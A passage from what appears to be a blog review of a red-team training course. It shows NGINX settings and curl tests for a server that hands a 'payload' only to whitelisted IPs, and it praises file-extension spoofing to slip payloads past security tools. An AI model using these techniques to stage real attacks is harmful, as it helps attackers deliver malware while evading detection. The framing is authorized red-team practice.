/etc/nginx/sites-available/default</blockquote><blockquote>Add the following rules:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*r5kpwakolm7WJJEu_EizJw@2x.jpeg" /></figure><p>5️⃣ <strong>Enable rate limiting by adding this at the top of your config</strong></p><blockquote>limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;</blockquote><p><strong>Save the file and restart NGINX</strong></p><blockquote>sudo systemctl restart nginx</blockquote><p>6️⃣ <strong>Testing the Setup</strong></p><p>Authorized IP Access</p><p>Your authorized machine should be able to download the payload successfully:</p><blockquote>curl -O http://yourdomain.com/payloads/file.update</blockquote><p>7️⃣ <strong>Unauthorized IP Access</strong></p><p>A different machine should receive a 403 Forbidden error when attempting access:</p><blockquote>curl -I http://yourdomain.com/payloads/file.update</blockquote><p>8️⃣ <strong>Expected response</strong></p><blockquote>HTTP/1.1 403 Forbidden</blockquote><p>9️⃣ <strong>Rate Limiting Test</strong></p><p>Trying to access the file multiple times in rapid succession should trigger rate limiting:</p><blockquote>for i in {1..10}; do curl -I http://yourdomain.com/payloads/file.update; done</blockquote><p>🔟 <strong>Expected behavior</strong></p><blockquote>After five attempts, further requests should be blocked temporarily.</blockquote><p>✅<strong>Security Takeaways</strong>✅</p><p>IP Whitelisting ensures payloads only reach intended targets</p><p>File extension spoofing makes it harder for security tools to detect malicious payloads</p><p>Rate limiting prevents brute-force access attempts</p><p>Logging unauthorized attempts helps detect reconnaissance activity</p><p>By implementing these controls, Red Teamers can safely test real-world attack techniques while minimizing exposure.</p><p><strong>Final Verdict</strong>: Is This Certification Worth It?</p><p>YES! The Red Team Infra Dev certification offers a highly practical approach to setting up secure Red Team infrastructure using NGINX.</p><p><strong>Who Should Take This?</strong></p><p>Penetration testers looking to improve infrastructure skills</p><p>Red Teamers needing better payload delivery techniques</p><p>Security researchers interested in bypassing defensive controls</p><p>If you’re serious about building stealthy Red Team infrastructure, this course is an absolute game-changer.</p><p>🔗 <strong>More Info</strong>: <a href="https://cyberwarfare.live/product/red-team-infra-developer/">Red Team Infra Dev</a></p><p><strong>Final Thoughts</strong></p><p>This certification doesn’t just teach theory – it forces you to get hands-on with the tools attackers use in real-world scenarios.</p><p>The ability to filter payload access, spoof file extensions, and enforce rate limiting is critical for modern offensive security.</p><p>Would I recommend this certification? Absolutely.</p><p>Enjoyed this article? Share it with your network!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08bc69f97113" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>